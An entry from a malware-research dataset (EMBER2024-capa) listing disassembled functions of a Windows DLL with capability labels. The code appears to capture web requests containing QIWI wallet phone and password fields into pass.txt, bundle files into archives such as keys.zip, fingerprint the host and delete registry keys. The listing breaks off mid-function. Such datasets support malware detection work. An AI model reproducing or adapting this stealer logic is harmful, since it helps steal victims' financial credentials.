joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013a50
Capabilities:
Create directory
Delete file
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
xor eax, eax
jmp 0x10013a60
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10013a60
push 0x10022a18
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10022a18
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10013a84
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013a98
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013ac4
mov ecx, dword [str.inter.zip]
mov edx, dword [0x1001ce28]
mov dword [eax], ecx
mov cx, word [0x1001ce2c]
mov dword [eax + 4], edx
push 0x104
lea edx, [ebp - 0x208]
push edx
push 0
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
not eax
test al, 0x10
je 0x10013b3b
lea eax, [ebp - 0x208]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013b18
sub eax, edx
cmp byte [ebp + eax - 0x208], 0x5c
lea eax, [ebp + eax - 0x208]
je 0x10013b3b
mov byte [eax], 0
dec eax
cmp byte [eax], 0x5c
jne 0x10013b32
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10013c5e
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10013c5e
push ebx
push 0x104
lea edx, [ebp - 0x208]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x104]
push eax
call fcn.1001a750
mov ebx, eax
test ebx, ebx
je 0x10013ba2
push 0
push esi
push ebx
call fcn.1001a8d0
call fcn.1001a850
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10013bb2
push 0x10022a18
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10022a18
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10013bd6
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013be8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013c05
mov ecx, dword [str.path.txt]
mov edx, dword [0x1001c858]
mov dword [eax], ecx
mov cl, byte [0x1001c85c]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x208]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013c40
sub eax, edx
lea ecx, [ebp - 0x208]
mov ebx, eax
push ecx
lea eax, [ebp - 0x104]
call fcn.10003f60
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10014050
Capabilities:
Clear file content
Create directory
Create thread
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
cmp dword [0x10020154], 0
push ebx
push esi
push edi
jne 0x10014235
mov edi, dword [ebp + 8]
test edi, edi
je 0x10014235
cmp dword [edi], 0x20544547
jne 0x10014235
cmp dword [0x10020150], 0
jne 0x1001420b
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.w.qiwi.ru
push edi
call esi
add esp, 8
test eax, eax
je 0x10014235
push str.phone
push edi
call esi
add esp, 8
test eax, eax
je 0x10014235
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10014235
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x100140d0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10022c20
call ebx
mov eax, 0x10022c20
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100140f6
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014108
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10022c20
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x10014130
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x210], cl
inc eax
test cl, cl
jne 0x10014130
mov eax, 0x10022c20
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014150
lea edi, [ebp - 0x210]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014160
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x210]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10004120
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ebx, dword [ebp + 8]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100141a8
sub eax, edx
mov edi, eax
je 0x10014201
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push str.pass.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10014201
push 0
lea eax, [ebp + 8]
push eax
push edi
push ebx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100141fa
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10020150], 1
push 0
push 0
push 0
push 0x10014240
push 0
push 0
mov dword [0x10020154], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10014235
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100147e0
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100147f0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100147f0
push 0x10022e28
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10022e28
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014814
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014826
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
test eax, eax
je 0x10014899
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014867
mov edx, dword [str.keys.zip]
mov ecx, dword [0x1001c864]
mov dword [eax], edx
mov dl, byte [0x1001c868]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.1001aaf0
mov esp, ebp
pop ebp
ret 4
Function at 0x100148a0
Capabilities:
Create directory
Delete file
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
xor eax, eax
jmp 0x100148b0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100148b0
push 0x10022e28
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10022e28
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100148d4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100148e8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014914
mov ecx, dword [str.rfk.zip]
mov edx, dword [0x1001ced8]
mov dword [eax], ecx
mov dword [eax + 4], edx
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
not eax
test al, 0x10
je 0x10014989
lea eax, [ebp - 0x208]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014960
sub eax, edx
cmp byte [ebp + eax - 0x208], 0x5c
lea eax, [ebp + eax - 0x208]
je 0x10014989
lea ebx, [ebx]
mov byte [eax], 0
dec eax
cmp byte [eax], 0x5c
jne 0x10014980
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10014aae
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10014aae
push ebx
push 0x104
lea eax, [ebp - 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x104]
push ecx
call fcn.1001a750
mov ebx, eax
test ebx, ebx
je 0x100149f0
push 0
push esi
push ebx
call fcn.1001a8d0
call fcn.1001a850
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10014a00
push 0x10022e28
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10022e28
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10014a24
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014a36
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014a53
mov edx, dword [str.path.txt]
mov ecx, dword [0x1001c858]
mov dword [eax], edx
mov dl, byte [0x1001c85c]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x208]
lea edx, [eax + 1]
jmp 0x10014a90
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014a90
sub eax, edx
lea ecx, [ebp - 0x208]
mov ebx, eax
push ecx
lea eax, [ebp - 0x104]
call fcn.10003f60
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100153a0
Capabilities:
Create directory
Delete file
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
xor eax, eax
jmp 0x100153b0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100153b0
push 0x10023030
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10023030
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100153d4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100153e8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015414
mov ecx, dword [str.stf.zip]
mov edx, dword [0x1001cf90]
mov dword [eax], ecx
mov dword [eax + 4], edx
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
not eax
test al, 0x10
je 0x10015489
lea eax, [ebp - 0x208]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015460
sub eax, edx
cmp byte [ebp + eax - 0x208], 0x5c
lea eax, [ebp + eax - 0x208]
je 0x10015489
lea ebx, [ebx]
mov byte [eax], 0
dec eax
cmp byte [eax], 0x5c
jne 0x10015480
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x100155ae
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100155ae
push ebx
push 0x104
lea eax, [ebp - 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x104]
push ecx
call fcn.1001a750
mov ebx, eax
test ebx, ebx
je 0x100154f0
push 0
push esi
push ebx
call fcn.1001a8d0
call fcn.1001a850
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10015500
push 0x10023030
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10023030
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015524
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015536
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015553
mov edx, dword [str.path.txt]
mov ecx, dword [0x1001c858]
mov dword [eax], edx
mov dl, byte [0x1001c85c]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x208]
lea edx, [eax + 1]
jmp 0x10015590
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015590
sub eax, edx
lea ecx, [ebp - 0x208]
mov ebx, eax
push ecx
lea eax, [ebp - 0x104]
call fcn.10003f60
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100155c0
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x100155d0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100155d0
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x10023030
call ebx
mov eax, 0x10023030
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015600
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015612
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10015737
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.1001aaf0
test eax, eax
je 0x10015737
lea eax, [ebp - 0x104]
dec eax
jmp 0x10015670
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015670
mov ecx, dword [str.keys.zip]
mov edx, dword [0x1001c864]
mov dword [eax], ecx
mov cl, byte [0x1001c868]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
xor eax, eax
jmp 0x100156a0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100156a0
push 0x10023030
call ebx
mov eax, 0x10023030
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100156c0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100156d2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100156f0
mov edx, dword [str.path1.txt]
mov ecx, dword [0x1001ce1c]
mov esi, dword [ebp + 8]
mov dword [eax], edx
mov dx, word [0x1001ce20]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015720
sub eax, edx
mov ebx, eax
push esi
lea eax, [ebp - 0x104]
call fcn.10003f60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10016360
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100163a7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x100163f8
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x100163c7
mov edi, dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10016640
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xdf
lea eax, [ebp - 0xe3]
push 0
push eax
mov dword [ebp - 4], 0x104
movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10016729
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
test edi, edi
je 0x10016729
mov esi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 4]
push ecx
push edi
call esi
test eax, eax
jne 0x100166e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100166e4
mov eax, dword [ebp - 4]
mov ecx, edi
call fcn.10009910
mov edi, eax
test edi, edi
je 0x10016729
lea edx, [ebp - 4]
push edx
push edi
call esi
test eax, eax
je 0x10016729
push edi
call fcn.1000eaa0
xor esi, esi
cmp byte [edi], 0
je 0x10016729
push ebx
movsx ax, byte [esi + edi]
lea ebx, [esi + edi]
movzx ecx, ax
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x10016721
mov eax, dword [ebp - 4]
push eax
lea ecx, [esi + edi + 1]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x100166f2
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10016740
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xde
lea eax, [ebp - 0xe2]
push 0
push eax
mov dword [ebp - 4], 0x104
movsw word es:[edi], word [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1001682a
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
test edi, edi
je 0x1001682a
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 4]
push ecx
push edi
call esi
test eax, eax
jne 0x100167e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6f
jne 0x100167e5
mov eax, dword [ebp - 4]
mov ecx, edi
call fcn.10009910
mov edi, eax
test edi, edi
je 0x1001682a
lea edx, [ebp - 4]
push edx
push edi
call esi
test eax, eax
je 0x1001682a
push edi
call fcn.1000eaa0
xor esi, esi
cmp byte [edi], 0
je 0x1001682a
push ebx
movsx ax, byte [esi + edi]
lea ebx, [esi + edi]
movzx ecx, ax
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x10016822
mov eax, dword [ebp - 4]
push eax
lea ecx, [esi + edi + 1]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x100167f3
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10016840
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10016912
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016860
sub eax, edx
je 0x10016912
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x10108
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10016917
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [ebp - 4]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push ecx
mov dword [ebp - 8], 0x104
call edi
mov esi, eax
cmp esi, 0x103
je 0x100168ee
test esi, esi
jne 0x100168fe
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10c]
push edx
push eax
call fcn.10016840
mov esi, eax
test esi, esi
je 0x10016894
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x3f2
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10016a20
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push esi
push edi
xor edi, edi
push 0x220
lea eax, [ebp - 0x220]
push edi
push eax
mov dword [ebp - 0x224], edi
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0xc
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x10016abd
lea edx, [ebp - 0x224]
push edx
push esi
mov dword [ebp - 0x224], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x10016ac5
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov edi, edi
push str.kernel
lea eax, [ebp - 0x204]
push eax
call ebx
test eax, eax
jne 0x10016aaf
lea ecx, [ebp - 0x224]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x10016a80
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10016ad0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
mov ecx, 9
mov esi, str.1234567890QWERTYUIOPASDFGHJKLZXCVBNM
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
push 0x104
lea eax, [ebp - 0x134]
push eax
movsb byte es:[edi], byte [esi]
mov dword [ebp - 4], 0xffaaff
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016b10
push 0
push 0
push 0
push 0
mov byte [ebp - 0x131], cl
lea ecx, [ebp - 4]
push ecx
push 0
sub eax, edx
push 0
lea edx, [ebp - 0x134]
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edi, dword [ebp - 4]
xor edi, esi
mov eax, 0xaaaaaaab
mul edi
shr edx, 1
lea eax, [edx + edx*2]
mov ecx, edi
sub ecx, eax
mov dword [ebp - 4], edi
je 0x10016b5d
not edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x30]
xor ebx, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016b65
sub eax, edx
mov dword [ebp - 8], eax
mov esi, 0x10020178
jmp 0x10016b7b
mov edi, dword [ebp - 4]
xor edx, edx
mov eax, ebx
div dword [ebp - 8]
mov ecx, 0x1001b548
movsx eax, byte [ebp + edx - 0x30]
imul eax, ebx
xor eax, edi
test bl, 1
jne 0x10016b9b
mov ecx, 0x1001d0e8
push eax
push ecx
push 0x104
push esi
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
lea edi, [esi - 1]
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10016bb0
mov dx, word [0x1001d0ec]
add esi, 0x104
inc ebx
mov word [edi], dx
cmp esi, 0x10021ff0
jl 0x10016b78
xor ebx, ebx
mov edi, 0x10021ff0
xor edx, edx
mov eax, ebx
div dword [ebp - 8]
mov ecx, 0x1001b548
movsx eax, byte [ebp + edx - 0x30]
imul eax, ebx
xor eax, dword [ebp - 4]
xor eax, 0xffeeffaa
test bl, 1
jne 0x10016bfe
mov ecx, 0x1001d0e8
push eax
push ecx
push 0x104
push edi
call dword [sym.imp.MSVCRT.dll__snprintf]
add edi, 0x104
add esp, 0x10
inc ebx
cmp edi, 0x10023440
jl 0x10016bd8
pop edi
